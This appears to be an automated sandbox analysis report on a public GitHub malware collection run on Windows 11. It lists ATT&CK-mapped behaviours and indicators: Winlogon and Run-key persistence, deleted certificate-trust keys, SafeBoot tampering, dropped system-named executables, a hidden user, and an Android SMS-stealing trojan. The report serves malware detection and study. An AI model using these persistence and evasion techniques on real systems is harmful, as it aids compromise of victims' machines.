wipelock | hxxps://github[.]com/Da2dalus/The-MALWARE-Repo

Analysis

max time kernel
729s
max time network
440s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
12-08-2024 20:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://github.com/Da2dalus/The-MALWARE-Repo

Score

10^/10

wipelock defense_evasion discovery evasion infostealer lateral_movement macro macro_on_action persistence privilege_escalation trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

Fagot.a.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit32.exe"	Fagot.a.exe

Wipelock
Wipelock is an Android trojan with multiple capabilities, such as wiping data, reading and sending SMS messages without the victim's knowledge.
trojan infostealer wipelock

Wipelock Android payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\New folder\elite.apk	family_wipelock
C:\Users\Admin\Desktop\New folder\mobelejen.apk	family_wipelock

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Remote Service Session Hijacking: RDP Hijacking 1 TTPs 2 IoCs
Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.
lateral_movement

RDP Hijacking
T1563.002

Processes:

net.exenet1.exe

pid process

4156 net.exe
2808 net1.exe

pid	process
4156	net.exe
2808	net1.exe

Manipulates Digital Signatures 1 TTPs 12 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.

SIP and Trust Provider Hijacking

T1553.003

Processes:

Fagot.a.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPublisher\CTLs	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPublisher	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPublisher\CRLs	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPublisher\Certificates	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	Fagot.a.exe

Modifies Windows Firewall 2 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exe

pid process

5040 netsh.exe

pid	process
5040	netsh.exe

Office macro that triggers on suspicious action 1 IoCs

Office document macro which triggers in special circumstances - often malicious.

macro macro_on_action

Processes:

resource	yara_rule
C:\Users\Admin\Downloads\The-MALWARE-Repo-master\The-MALWARE-Repo-master\Spyware\Kakwa.doc	office_macro_on_action

Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

1880 attrib.exe

pid	process
1880	attrib.exe

Sets service image path in registry 2 TTPs 9 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

mssql.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\qpqpozmwyablbpbwj\ImagePath = "\\??\\C:\\Users\\Admin\\Desktop\\New folder\\ac\\qpqpozmwyablbpbwj.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\zzsqebewkrhila\ImagePath = "\\??\\C:\\Users\\Admin\\Desktop\\New folder\\ac\\zzsqebewkrhila.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mssqlaq\ImagePath = "\\??\\C:\\Users\\Admin\\Desktop\\New folder\\ac\\mssqlaq.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mssql\ImagePath = "\\??\\C:\\Users\\Admin\\Desktop\\New folder\\ac\\mssql.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\igvfpxuxmkoorey\ImagePath = "\\??\\C:\\Users\\Admin\\Desktop\\New folder\\ac\\igvfpxuxmkoorey.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\utdrkgojlbyxehfm\ImagePath = "\\??\\C:\\Users\\Admin\\Desktop\\New folder\\ac\\utdrkgojlbyxehfm.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\nelejskklawzyyeyf\ImagePath = "\\??\\C:\\Users\\Admin\\Desktop\\New folder\\ac\\nelejskklawzyyeyf.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vngoaccjxrjwij\ImagePath = "\\??\\C:\\Users\\Admin\\Desktop\\New folder\\ac\\vngoaccjxrjwij.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\kctlwwixkqmsfr\ImagePath = "\\??\\C:\\Users\\Admin\\Desktop\\New folder\\ac\\kctlwwixkqmsfr.sys"	mssql.exe

Suspicious Office macro 1 IoCs

Office document equipped with macros.

macro

Processes:

resource
C:\Users\Admin\Downloads\The-MALWARE-Repo-master\The-MALWARE-Repo-master\Spyware\Kakwa.doc

Executes dropped EXE 4 IoCs

Processes:

nc123.exemssql.exemssql2.exeSearchHost.exe

pid process

2960 nc123.exe
2372 mssql.exe
3852 mssql2.exe
1980 SearchHost.exe

pid	process
2960	nc123.exe
2372	mssql.exe
3852	mssql2.exe
1980	SearchHost.exe

Impair Defenses: Safe Mode Boot 1 TTPs 20 IoCs

defense_evasion

Safe Mode Boot

T1562.009

Processes:

mssql.exeFagot.a.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\MINIMAL\NELEJSKKLAWZYYEYF.SYS	mssql.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\zzsqebewkrhila.sys	mssql.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\MINIMAL\KCTLWWIXKQMSFR.SYS	mssql.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\CBDHSvc	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\SerCx2.sys	Fagot.a.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\igvfpxuxmkoorey.sys	mssql.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\utdrkgojlbyxehfm.sys	mssql.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\MINIMAL\UTDRKGOJLBYXEHFM.SYS	mssql.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\vngoaccjxrjwij.sys	mssql.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\MINIMAL\VNGOACCJXRJWIJ.SYS	mssql.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Power	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\iai2c.sys	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\MINIMAL\IGVFPXUXMKOOREY.SYS	mssql.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\qpqpozmwyablbpbwj.sys	mssql.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\MINIMAL\QPQPOZMWYABLBPBWJ.SYS	mssql.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\nelejskklawzyyeyf.sys	mssql.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\MINIMAL\ZZSQEBEWKRHILA.SYS	mssql.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\kctlwwixkqmsfr.sys	mssql.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\UserManager	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ProfSvc	Fagot.a.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

Fagot.a.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\dllhost32 = "C:\\Windows\\system32\\dllhost32.exe"	Fagot.a.exe

Declares broadcast receivers with permission to handle system events 2 IoCs

Processes:

description	ioc
Required by device admin receivers to bind with the system. Allows apps to manage device administration features.	android.permission.BIND_DEVICE_ADMIN
Required by device admin receivers to bind with the system. Allows apps to manage device administration features.	android.permission.BIND_DEVICE_ADMIN

Declares services with permission to bind to the system 2 IoCs

Processes:

description	ioc
Required by wallpaper services to bind with the system. Allows apps to provide live wallpapers.	android.permission.BIND_WALLPAPER
Required by wallpaper services to bind with the system. Allows apps to provide live wallpapers.	android.permission.BIND_WALLPAPER

Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Processes:

SearchHost.exe

description ioc process

File opened (read-only) \??\D: SearchHost.exe
Password Policy Discovery 1 TTPs
Attempt to access detailed information about the password policy used within an enterprise network.
discovery

Password Policy Discovery
T1201

description	ioc	process
File opened (read-only)	\??\D:	SearchHost.exe

Requests dangerous framework permissions 23 IoCs

Processes:

description	ioc
Allows an application to write to external storage.	android.permission.WRITE_EXTERNAL_STORAGE
Allows an application to initiate a phone call without going through the Dialer user interface for the user to confirm the call.	android.permission.CALL_PHONE
Allows an application to write to external storage.	android.permission.WRITE_EXTERNAL_STORAGE
Allows an application to read from external storage.	android.permission.READ_EXTERNAL_STORAGE
Allows read only access to phone state, including the current cellular network information, the status of any ongoing calls, and a list of any PhoneAccounts registered on the device.	android.permission.READ_PHONE_STATE
Allows an application to receive SMS messages.	android.permission.RECEIVE_SMS
Allows an application to send SMS messages.	android.permission.SEND_SMS
Allows an application to read SMS messages.	android.permission.READ_SMS
Allows an application to read the user's contacts data.	android.permission.READ_CONTACTS
Allows an application to read from external storage.	android.permission.READ_EXTERNAL_STORAGE
Allows an application to write to external storage.	android.permission.WRITE_EXTERNAL_STORAGE
Allows an application to read or write the system settings.	android.permission.WRITE_SETTINGS
Allows an app to create windows using the type LayoutParams.TYPE_APPLICATION_OVERLAY, shown on top of all other apps.	android.permission.SYSTEM_ALERT_WINDOW
Allows an application to write to external storage.	android.permission.WRITE_EXTERNAL_STORAGE
Allows an application to read from external storage.	android.permission.READ_EXTERNAL_STORAGE
Allows read only access to phone state, including the current cellular network information, the status of any ongoing calls, and a list of any PhoneAccounts registered on the device.	android.permission.READ_PHONE_STATE
Allows an application to receive SMS messages.	android.permission.RECEIVE_SMS
Allows an application to send SMS messages.	android.permission.SEND_SMS
Allows an application to read SMS messages.	android.permission.READ_SMS
Allows an application to read the user's contacts data.	android.permission.READ_CONTACTS
Allows an application to read from external storage.	android.permission.READ_EXTERNAL_STORAGE
Allows an application to write to external storage.	android.permission.WRITE_EXTERNAL_STORAGE
Allows an application to read or write the system settings.	android.permission.WRITE_SETTINGS

Drops file in System32 directory 41 IoCs

Processes:

Fagot.a.exe

description	ioc	process
File created	C:\windows\SysWOW64\logon.exe	Fagot.a.exe
File created	C:\windows\SysWOW64\systray.exe	Fagot.a.exe
File created	C:\windows\SysWOW64\win.exe	Fagot.a.exe
File created	C:\windows\SysWOW64\wowexec.exe	Fagot.a.exe
File created	C:\windows\SysWOW64\progman.exe	Fagot.a.exe
File created	C:\Windows\SysWOW64\progman.exe:Zone.Identifier:$DATA	Fagot.a.exe
File created	C:\Windows\SysWOW64\ntoskrnl.exe:Zone.Identifier:$DATA	Fagot.a.exe
File created	C:\windows\SysWOW64\alg.exe	Fagot.a.exe
File created	C:\windows\SysWOW64\ctfmon.exe	Fagot.a.exe
File created	C:\Windows\SysWOW64\dumprep.exe:Zone.Identifier:$DATA	Fagot.a.exe
File created	C:\Windows\SysWOW64\logon.exe:Zone.Identifier:$DATA	Fagot.a.exe
File created	C:\windows\SysWOW64\MDM.exe	Fagot.a.exe
File created	C:\windows\SysWOW64\services.exe	Fagot.a.exe
File opened for modification	C:\Windows\SysWOW64\userinit32.exe	Fagot.a.exe
File created	C:\Windows\SysWOW64\userinit32.exe:Zone.Identifier:$DATA	Fagot.a.exe
File created	C:\windows\SysWOW64\dumprep.exe	Fagot.a.exe
File created	C:\Windows\SysWOW64\bootok.exe:Zone.Identifier:$DATA	Fagot.a.exe
File created	C:\Windows\SysWOW64\imapi.exe:Zone.Identifier:$DATA	Fagot.a.exe
File created	C:\Windows\SysWOW64\MDM.exe:Zone.Identifier:$DATA	Fagot.a.exe
File created	C:\windows\SysWOW64\recover.exe	Fagot.a.exe
File created	C:\Windows\SysWOW64\dllhost32.exe:Zone.Identifier:$DATA	Fagot.a.exe
File created	C:\windows\SysWOW64\ntoskrnl.exe	Fagot.a.exe
File created	C:\Windows\SysWOW64\ntkrnlpa.exe:Zone.Identifier:$DATA	Fagot.a.exe
File created	C:\windows\SysWOW64\chkntfs.exe	Fagot.a.exe
File created	C:\Windows\SysWOW64\wuauclt.exe:Zone.Identifier:$DATA	Fagot.a.exe
File created	C:\WINDOWS\SysWOW64\userinit.exe	Fagot.a.exe
File created	C:\windows\SysWOW64\regedit.exe	Fagot.a.exe
File created	C:\windows\SysWOW64\autochk.exe	Fagot.a.exe
File created	C:\windows\SysWOW64\chcp.exe	Fagot.a.exe
File created	C:\windows\SysWOW64\wuauclt.exe	Fagot.a.exe
File created	C:\Windows\SysWOW64\dllhost32.exe	Fagot.a.exe
File created	C:\windows\SysWOW64\shutdown.exe	Fagot.a.exe
File created	C:\Windows\SysWOW64\alg.exe:Zone.Identifier:$DATA	Fagot.a.exe
File created	C:\Windows\SysWOW64\services.exe:Zone.Identifier:$DATA	Fagot.a.exe
File created	C:\Windows\SysWOW64\userinit32.exe	Fagot.a.exe
File created	C:\windows\SysWOW64\ntkrnlpa.exe	Fagot.a.exe
File created	C:\windows\SysWOW64\bootok.exe	Fagot.a.exe
File created	C:\Windows\SysWOW64\wowexec.exe:Zone.Identifier:$DATA	Fagot.a.exe
File created	C:\Windows\SysWOW64\chcp.exe:Zone.Identifier:$DATA	Fagot.a.exe
File created	C:\windows\SysWOW64\imapi.exe	Fagot.a.exe
File created	C:\Windows\SysWOW64\win.exe:Zone.Identifier:$DATA	Fagot.a.exe

Hide Artifacts: Hidden Users 1 TTPs 1 IoCs

defense_evasion

Hidden Users

T1564.002

Processes:

reg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\systembackup = "0"	reg.exe

Drops file in Windows directory 1 IoCs

Processes:

Fagot.a.exe

description ioc process

File created C:\Windows\NOTEPAD.EXE Fagot.a.exe
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exe

pid process

3184 sc.exe
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\NOTEPAD.EXE	Fagot.a.exe

pid	process
3184	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4476 3632 WerFault.exe FlashKiller.exe

pid	pid_target	process	target process
4476	3632	WerFault.exe	FlashKiller.exe

System Location Discovery: System Language Discovery 1 TTPs 32 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

net.exenet1.exenet1.exeFantom.exemssql2.exeWMIC.exenet.exenet1.exeWMIC.exeattrib.exeFagot.a.exenc123.exeSearchHost.execmd.exereg.exesc.exenet.exenet1.execmd.exereg.exenet.execmd.exefind.exenet.exeDharma.exenetsh.execmd.execmd.exeFlasher.exefind.exenet1.exereg.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fantom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mssql2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fagot.a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nc123.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SearchHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Dharma.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Flasher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Checks processor information in registry 2 TTPs 10 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Fagot.a.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	Fagot.a.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	Fagot.a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Fagot.a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	Fagot.a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	Fagot.a.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Fagot.a.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Fagot.a.exe

Enumerates system info in registry 2 TTPs 64 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Fagot.a.exemsedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0	Fagot.a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\FloatingPointProcessor\1	Fagot.a.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController	Fagot.a.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0\KeyboardPeripheral\0	Fagot.a.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0	Fagot.a.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\FloatingPointProcessor\1	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Fagot.a.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0	Fagot.a.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0	Fagot.a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral	Fagot.a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController	Fagot.a.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral	Fagot.a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Fagot.a.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\2	Fagot.a.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0\KeyboardPeripheral	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoAdapterBusses	Fagot.a.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0	Fagot.a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\FloatingPointProcessor	Fagot.a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\FloatingPointProcessor\0	Fagot.a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoAdapterBusses	Fagot.a.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral	Fagot.a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0\KeyboardPeripheral	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0	Fagot.a.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\FloatingPointProcessor\0	Fagot.a.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoAdapterBusses\PCIBus	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoAdapterBusses\PCIBus	Fagot.a.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter	Fagot.a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\1	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\FloatingPointProcessor	Fagot.a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0\KeyboardPeripheral\0	Fagot.a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0	Fagot.a.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0	Fagot.a.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\FloatingPointProcessor	Fagot.a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoAdapterBusses	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoAdapterBusses\PCIBus\0000	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\1	Fagot.a.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0	Fagot.a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0\KeyboardPeripheral\0	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\FloatingPointProcessor\1	Fagot.a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController	Fagot.a.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\1	Fagot.a.exe
